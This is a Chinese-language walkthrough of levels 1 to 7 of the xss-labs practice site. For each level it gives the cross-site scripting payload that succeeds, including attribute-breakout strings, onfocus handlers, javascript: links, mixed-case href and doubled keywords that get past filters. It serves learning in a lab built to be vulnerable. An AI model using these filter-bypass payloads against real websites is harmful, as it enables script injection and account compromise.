下载地址
Githubhttps://github.com/do0dl3/xss-labs

Less1

我们在这个地方输入a他直接就显示出来了


我们输入<script>alert(/a/)</script>
他就弹窗没有可能是没有进行任何过滤

Less2

第二关我们直接输入<script>alert(/a/)</script>发现他显示出来了

查看一下源码他已经实体化了

查看一下http源代码发现他还保留在表单上

1
<input name=keyword  value="<script>alert(/a/)</script>">

我们就可以构建成下面这样

在表单上输入到是"><script>alert(/a/)</script> //

介绍
可以看见下面">他叫前面的标签给闭合了后面的//注释了后面的代码

1
<input name=keyword  value=""><script>alert(/a/)</script> //">

Less3

我直接输入<script>alert(/a/)</script>发现他显示出来了
被实体化

我们可以输入script '"><看看那个被过滤了

可以看见"><是被过滤了的

我们分析一下下面这个在php是可以弹窗的

1
<input name=keyword  value='这个是什么输入东西'>	

我们可以输入就可以用'和添加属性来进行弹窗
前面的1'用来闭合前面的属性后面添加一个事件onfocus='alert(1)'在后面//进行注释
onfocus事件获取到焦点时触发会

1
<input name=keyword  value=' 1'onfocus='alert(1)' //'>	

我们在输入框输入1'onfocus='alert(1)' //

我们添加一下输入框他就会弹出

Less4

我直接输入script '"><看看他过滤什么东西
发现没有了>和<

我们输入1'onfocus='alert(1)' //
发现他是"我们输入的是'不一样

我们可以输入就可以用"和添加属性来进行弹窗
和Less3基本是一样的只是符合不一样一个是'一个是"
我们分析一下下面这个在php是可以弹窗的

1
<input name=keyword  value='这个是什么输入东西'>	

前面的1"用来闭合前面的属性后面添加一个事件onfocus='alert(1)'在后面//进行注释
onfocus事件获取到焦点时触发会

1
<input name=keyword  value="1"onfocus='alert(1)' // ">

这样我们就可以输入1"onfocus='alert(1)' //

level5

直接输入script '"><看看他过滤什么东西
发现他什么都没有过滤

我们在输入1"onfocus='alert(1)' //看看
可以看见on被过滤了

我想了一下可以用超链接进行点击,用为协议进行
用下面代码进分析

">用来闭合前面的input标签,//还是注释后面的

1
<input name=keyword  value=""><a href="javascript:alert(1);" >点我</a> //">

我们输入"><a href="javascript:alert(1);" >点我</a> //

level6

输入script '">< on看看他过滤什么东西,我这个又添加了on应为前面可以看见on被转换了

发现还是on被转换成o_n

我们输入上面的level5"><a href="javascript:alert(1);" >点我</a> //

可以看见href被转换成了hr_ef

1
<input name=keyword  value=""><a hr_ef="javascript:alert(1);" >点我</a> //">

我们叫href大小写替换查询一下变成"><a HrEf="javascript:alert(1);" >点我</a> //
代码就变成这样了应为html标签是不区分大小写的

1
<input name=keyword  value=""><a HrEf="javascript:alert(1);" >点我</a> //">

可以看见绕过了

level7

输入script '">< on On看看他过滤什么东西,我这个又添加了On看看他会不会被过滤

可以看见script,on,On都过滤成空了

我们就可以写绕过比如script写成scrscriptipt

下面这个oonnfocus原本是onfocus应为他on被过滤空
介绍
oonnfocuson变成空,就变成onfocus

1
<input name=keyword  value=" 1"oonnfocus='alert(1)' // ">

我们输入1"oonnfocus='alert(1)' //